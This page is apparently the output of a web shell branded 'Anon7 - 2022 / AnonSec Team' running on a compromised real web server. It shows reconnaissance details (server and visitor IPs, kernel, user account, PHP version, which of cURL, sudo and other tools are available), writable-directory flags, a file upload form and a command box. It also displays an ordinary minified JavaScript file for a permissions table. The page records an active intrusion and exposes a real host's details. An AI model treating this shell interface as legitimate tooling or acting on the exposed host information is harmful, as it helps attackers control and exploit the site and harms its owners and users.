NG1NDEX
Server IP : 150.95.80.236  /  Your IP : 13.59.156.15
Web Server : Apache
System : Linux host-150-95-80-236 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : social-telecare ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/pcu.in.th/sc.pcu.in.th/demo15/dist/assets/js/custom/apps/user-management/permissions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/vhosts/pcu.in.th/sc.pcu.in.th/demo15/dist/assets/js/custom/apps/user-management/permissions/list.js
"use strict";var KTUsersPermissionsList=function(){var t,e;return{init:function(){(e=document.querySelector("#kt_permissions_table"))&&(e.querySelectorAll("tbody tr").forEach((t=>{const e=t.querySelectorAll("td"),n=moment(e[2].innerHTML,"DD MMM YYYY, LT").format();e[2].setAttribute("data-order",n)})),t=$(e).DataTable({info:!1,order:[],columnDefs:[{orderable:!1,targets:1},{orderable:!1,targets:3}]}),document.querySelector('[data-kt-permissions-table-filter="search"]').addEventListener("keyup",(function(e){t.search(e.target.value).draw()})),e.querySelectorAll('[data-kt-permissions-table-filter="delete_row"]').forEach((e=>{e.addEventListener("click",(function(e){e.preventDefault();const n=e.target.closest("tr"),o=n.querySelectorAll("td")[0].innerText;Swal.fire({text:"Are you sure you want to delete "+o+"?",icon:"warning",showCancelButton:!0,buttonsStyling:!1,confirmButtonText:"Yes, delete!",cancelButtonText:"No, cancel",customClass:{confirmButton:"btn fw-bold btn-danger",cancelButton:"btn fw-bold btn-active-light-primary"}}).then((function(e){e.value?Swal.fire({text:"You have deleted "+o+"!.",icon:"success",buttonsStyling:!1,confirmButtonText:"Ok, got it!",customClass:{confirmButton:"btn fw-bold btn-primary"}}).then((function(){t.row($(n)).remove().draw()})):"cancel"===e.dismiss&&Swal.fire({text:customerName+" was not deleted.",icon:"error",buttonsStyling:!1,confirmButtonText:"Ok, got it!",customClass:{confirmButton:"btn fw-bold btn-primary"}})}))}))})))}}}();KTUtil.onDOMContentLoaded((function(){KTUsersPermissionsList.init()}));

Anon7 - 2022
AnonSec Team